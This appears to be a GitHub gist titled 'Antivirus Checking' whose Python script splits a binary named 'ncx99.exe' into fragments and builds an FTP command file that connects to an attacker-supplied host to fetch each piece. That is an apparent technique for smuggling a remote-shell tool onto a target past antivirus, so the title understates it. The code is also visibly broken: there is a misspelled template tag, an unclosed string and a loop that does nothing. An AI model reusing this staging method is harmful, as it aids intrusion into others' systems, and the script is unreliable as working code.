Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
Antivirus Checking
#!/usr/bin/env python
from jinja2 import Template
from subprocess import call
lhost = ''
binary = 'ncx99.exe'
split_num = 50
tmpl = Template('''open {{ lhost }} 21
{%- for f in split_files %}
GET {{ f }}
{%- endofr %}
if __name__ == '__main__':
print('[*] splitting file into smaller components')
p = call(['split', '-n', str(split_num), '-x', binary])
print('[*] building FTP file')
i = 0
split_files = []
for n in range(i, split_num):
rt = tmpl.render(lhost=lhost, split_files=split_files)
with open('ftp.txt', 'w') as f:
f.write(rt + '\n')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment